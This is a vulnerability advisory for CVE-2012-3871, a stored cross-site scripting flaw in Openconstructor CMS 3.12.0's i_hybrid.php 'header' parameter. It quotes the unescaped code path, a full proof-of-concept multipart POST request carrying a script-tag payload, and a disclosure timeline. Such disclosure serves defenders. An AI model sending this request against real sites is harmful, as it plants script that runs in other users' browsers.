Openconstructor CMS 3.12.0 i_hybrid.php XSS

`###Title###:   
Openconstructor CMS 3.12.0 'data/hybrid/i_hybrid.php', 'header' parameter Stored Cross-site Scripting Vulnerability  
  
  
###Affected Software###:  
http://www.openconstructor.org/  
http://code.google.com/p/openconstructor/downloads/list  
http://esectorsolutions.com/about/whats-new/esector-news/detailed/?id=234  
  
  
###Description###:   
Openconstructor (formerly known as eSector Solutions Web Constructor) is an open source web Content Management System written in PHP. A stored XSS vulnerability exist on the 'header' parameter passed to 'i_hybrid.php' page, which is used when creating a new document in the catalogue section.   
Verson 3.12.0 is vulnerable, previous version may be affected, but they have not been tested.  
  
  
###CVE###  
CVE-2012-3871  
  
  
###Impact###:   
Authenticated attackers can plant malicious javascript in the web application, with the aim to execute it on the other user's browser.  
  
CVSS Base Score: 4.9 (AV:N/AC:M/Au:S/C:P/I:P/A:N)  
  
  
###Credits###:   
Lorenzo Cantoni  
  
  
###Details###:  
When creating a new document in the catalogue section, the application asks to set a name for that object.  
The application does not escape the html tags correctly for these parameters. The vulnerability has been tested on an Internet Explorer 7 browser (because the application is designed to work with IE). Newer version of the browser with the anti-xss filter enabled, may help to protect users from such attacks.  
  
'data/hybrid/i_hybrid.php' contains the following code:  
  
$doc->readValues($_POST);  
$doc->readFiles($_FILES);  
$ds->createDocument($doc);  
  
  
readValues() does not escape dangerous html carachters, so they are passed to createDocument() which store all the attributes in the database.  
  
When the user reach the main 'Catalogue' section, the XSS is triggered.  
  
  
###Proof of Concept####:  
Here is a trace of the required POST to plant the javascript  
  
POST /openconstructor/data/hybrid/i_hybrid.php HTTP/1.1  
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*  
Referer: http://10.0.2.15/openconstructor/data/hybrid/edit.php?0=-1&id=new&ds_id=11  
Accept-Language: it  
Content-Type: multipart/form-data; boundary=---------------------------7dc262a2803fa  
UA-CPU: x86  
Accept-Encoding: gzip, deflate  
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)  
Proxy-Connection: Keep-Alive  
Host: 10.0.2.15  
Pragma: no-cache  
Cookie: curnode=12; vf[img_intro]=disabled; def_bs0=rating; dsh=11; PHPSESSID=s8fnmtbfv0h1ofdeotu4h75p33; wcsUserLogin=root; wcsUserName=Administrator  
Content-Length: 857  
  
-----------------------------7dc262a2803fa  
Content-Disposition: form-data; name="action"  
  
create_hybrid  
-----------------------------7dc262a2803fa  
Content-Disposition: form-data; name="ds_id"  
  
11  
-----------------------------7dc262a2803fa  
Content-Disposition: form-data; name="id"  
  
new  
-----------------------------7dc262a2803fa  
Content-Disposition: form-data; name="hybridid"  
  
  
-----------------------------7dc262a2803fa  
Content-Disposition: form-data; name="fieldid"  
  
  
-----------------------------7dc262a2803fa  
Content-Disposition: form-data; name="callback"  
  
  
-----------------------------7dc262a2803fa  
Content-Disposition: form-data; name="header"  
  
<script>alert('xss')</script>  
-----------------------------7dc262a2803fa  
Content-Disposition: form-data; name="published"  
  
0  
-----------------------------7dc262a2803fa--  
  
  
  
  
###Disclosure###  
[08/07/2012] Lead Developer contacted.  
[22/07/2012] No response. Sent another mail.  
[04/08/2012] Still no response. Public disclosure.  
`